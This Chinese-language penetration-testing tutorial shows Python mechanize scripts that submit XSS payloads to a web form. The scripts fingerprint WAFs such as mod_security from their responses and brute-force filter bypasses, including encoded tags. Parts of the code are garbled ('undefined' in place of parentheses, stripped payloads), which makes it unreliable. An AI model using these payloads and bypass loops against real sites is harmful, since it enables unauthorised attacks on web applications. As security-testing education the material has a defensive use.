web应用防火墙通常会被部署在web客户端与web服务器之间,以过滤来自服务器的恶意流量。而作为一名渗透测试人员,想要更好的突破目标系统,就必须要了解目标系统的waf规则。如今,许多waf都是基于签名的。下图简单描绘了一个web应用防火墙的工作流程:
什么是基于签名的防火墙?
在基于签名的防火墙中你可以自定义签名,如果你知道某种网络攻击遵循某种类型的模式或签名。那么你就可以定义匹配模式过滤掉它们,例如:
payload:-alert`1`
上面定义的是一种常见的xss payload,我们知道所有这类攻击都可能包含- >“”这些字符 ,因此我们可以在waf中设定一个包含这些字符的的过滤规则,我们可以进行如下定义:
1.
2. alert(*)
第一个签名将过滤任何包含字符串的请求,第二个将过滤任何包含alert(*)字符串的请求。
如何判断目标环境是否部署防火墙?
当我们对一个系统进行渗透时,如果你忽略了防火墙的存在,那么就会为我们的测试带来诸多的麻烦。因此在开始真正的渗透之前,我们最好能先判断下目标系统是否存在waf。那么我们该如何进行判断呢?我们还拿以上定义的payload来举例。在通常情况下,如果我们在一个部署有waf的系统上执行以上payload,那么在http的响应中我们将能捕获到waf留下的轨迹:
http/1.1 406 not acceptable date: mon, 10 jan 2016 server: nginx content-type: text/html; charset=iso-8859-1 not acceptable!not acceptable! an appropriate representation of the requested resource could not be found on this server. this error was generated by mod_security
可以看到,我们的payload被名为mod_security的防火墙给过滤了。在本文中我将教大家编写一个简单的python脚本,以帮助我们完成检测任务并绕过防火墙。
步骤1:定义html文档和php脚本!
首先,我们必须定义我们的html文档来注入payload和相应的php脚本以处理数据。
html文档定义如下:
data:
php脚本:
data from the form :
步骤2:准备恶意请求!
为了检测防火墙的存在与否,第二步我们需要创建一个会被防火墙阻止的恶意跨站脚本请求。这里我将用到一个名为“mechanize”的python模块.
automate cross site scripting (xss) attack using beautiful soup and mechanize
如果你已经了解了mechanize模块,可以跳过此文章的阅读。现在,我们就可以对任意页面提供的web表单发起请求了。实现代码如下:
import mechanize as mec maliciousrequest = mec.browser() formname = 'waf' maliciousrequest.open(http://check.cyberpersons.com/crosssitecheck.html) maliciousrequest.select_form(formname)
让我来简单解释下这几行代码的用意:
在第一行代码,我们首先导入了mechanize模块,并给它了一个简称’mec’以便我们后续使用。
要想使用mechanize下载网页,我们需要实例化浏览器。因此在第二行代码中,我们实例化了浏览器。
在步骤1中我们定义了我们的html文档,其中表单名称为“waf”。因此在第三行代码中,我们需要告诉mechanize要选择以此命名的表单进行提交,所以formname变量为‘waf’。
第四行代码就是打开目标url地址,并提交我们的数据。
最后我们使用’select_form()’函数传递’formname’变量。
在以上的html文档中,我们只定义了一个表单输入字段,我们将利用该字段注入我们的恶意payload,并通过检查http响应信息来判断目标是否部署了web应用防火墙。
步骤3:准备payload
在html文档中我们定义了一个名为’data’的输入字段:
input type=text name=data>
因此,我们可以使用以下代码来提交我们的payload:
crosssitescriptingpayload = alert`1`maliciousrequest.form['data'] = crosssitescriptingpayload
第一行代码我们首先将payload赋给了变量
‘crosssitescriptingpayload’。
第二行代码我们将payload提交给了表单字段“data”。
步骤4:提交表单并记录响应
下面我们提交此表单并记录响应信息:
maliciousrequest.submit() response = maliciousrequest.response().read() print response
提交表单
将响应赋给变量。
将将响应信息打印出来。
由于我目前并未安装部署防火墙,所以我得到了如下响应:
可以看到payload被打印在了html文档中,这也说明应用程序代码中没有任何的过滤机制,并且由于没有防火墙的保护,我们的恶意请求也未被阻止。
步骤5:防火墙部署检测
变量’response’中包含了从服务器获取的响应信息,也是我们判断目标环境是否部署防火墙的重要依据。下面,我们将针对以下几款防火墙进行检测。
webknight
mod_security
dot defender
看看我们如何用python代码实现检测:
if response.find('webknight') >= 0: print firewall detected: webknight elif response.find('mod_security') >= 0: print firewall detected: mod security elif response.find('mod_security') >= 0: print firewall detected: mod security elif response.find('dotdefender') >= 0: print firewall detected: dot defender else: print no firewall present
这段代码首先我们对webknight的防火墙做了判断。如果目标环境安装了webknight,那么在我们的响应中将包含字符串“webknight”,并且find函数的返回值也将会大于0。同样,对于另外两个防火墙亦是如此。
当然我们还可以继续扩展我们的python脚本,用以检测更多的防火墙类型,但前提是必须了解这些防火墙的基本响应特征。
使用暴力测试攻击绕过防火墙过滤器
在文章开头我就说过,如今的大多数防护墙都是基于签名来过滤我们的请求流量的。但是,这并不意味着我们就拿它没办法了。随着javascript的日趋复杂,我们可以用它来构建数千种的payload并逐一进行尝试,以绕过防火墙的检测。需要说明的是如果防护墙规则被明确定义,那么该方法可能会失效。下面让我们使用python脚本,来帮助我们完成暴力测试攻击:
listofpayloads = ['close me!', 'prompt( 1)', 'click me'] for payloads in listofpayloads: maliciousrequest = mec.browserundefined) formname = 'waf' maliciousrequest.openundefinedhttp://check.cyberpersons.com/crosssitecheck.html) maliciousrequest.select_formundefinedformname) maliciousrequest.form['data'] = payloads maliciousrequest.submitundefined) response = maliciousrequest.responseundefined).readundefined) if response.findundefined'webknight') >= 0: print firewall detected: webknight elif response.findundefined'mod_security') >= 0: print firewall detected: mod security elif response.findundefined'mod_security') >= 0: print firewall detected: mod security elif response.findundefined'dotdefender') >= 0: print firewall detected: dot defender else: print no firewall present
在第一行代码中,我们定义了3个payload的列表,你还可以根据需求添加更多的payload扩展此列表。
接着在for循环中,我们进行了之前所做相同判断过程,但这一次我们需要对应列表中的每个payload。
收到响应后,我们可以再次确认防火墙是否真的存在。
由于我并未安装部署防火墙,所以我得到了如下响应:
将html标签转换为unicode或hex实体
如果防火墙正在过滤html标签,如。我们则可以尝试将这些实体进行unicode或hex转码再进行发送,如果被转化为原始形式,那么这也将成为我们的一个突破口。我们可以使用以下代码进行判断:
listofpayloads = ['','\u003cb\u003e','\x3cb\x3e'] for payloads in listofpayloads: maliciousrequest = mec.browser() formname = 'waf' maliciousrequest.open(http://check.cyberpersons.com/crosssitecheck.html) maliciousrequest.select_form(formname) maliciousrequest.form['data'] = payloads maliciousrequest.submit() response = maliciousrequest.response().read() print --------------------------------------------------- print response print ---------------------------------------------------
我的输出结果如下:
从结果可以看到,并没有编码的条目被转换为其原始格式。
总结
通过本文的介绍,相信大家已经对防火墙有了一个基本的了解和认识。作为一名安全测试人员,了解和掌握防火墙的工作机制是非常必要的。而对于企业而言,更不能忽视了安全的重要性。
HiSpark IPC DIY Camera可实现设备间硬件互助生态共享
仿生学技术可让机器人完成多个仿生动作
AI边缘推理计算机设计通过EdgeBoost节点变得简单
2021年全球智能手机摄像头传感器出货量约59亿颗
校园无线局域网与3GPP融合网络机制改进方案介绍
黑客是怎么用python的?检如何判断目标环境是否部署防火墙?
井松智能携攀爬AGV亮相工博会
压力表如何精确效准,校准压力表时应考虑的十个因素?
Rotman透镜多波束形成网络的数值分析
智能温室大棚管理方式是怎样的
怎样使用IFTTT将有线门铃变成智能门铃
赢千元神券狂撒红包雨 荣耀V40新年开工福利派送
小米mix2评测;小米mix2怎么样?来看看网友们怎么说:颜值高、配置强
思瑞浦推出最新拥有完整独立知识产权的两款CAN收发器芯片
RDA6205芯片基本信息介绍
国密应用芯片推荐
无人机融合人工智能可以得到什么好处
STM32G0开发笔记:串口中断的使用
三大运营商开展全国范围的5G中低频段试验
5G时代底层存储技术将变革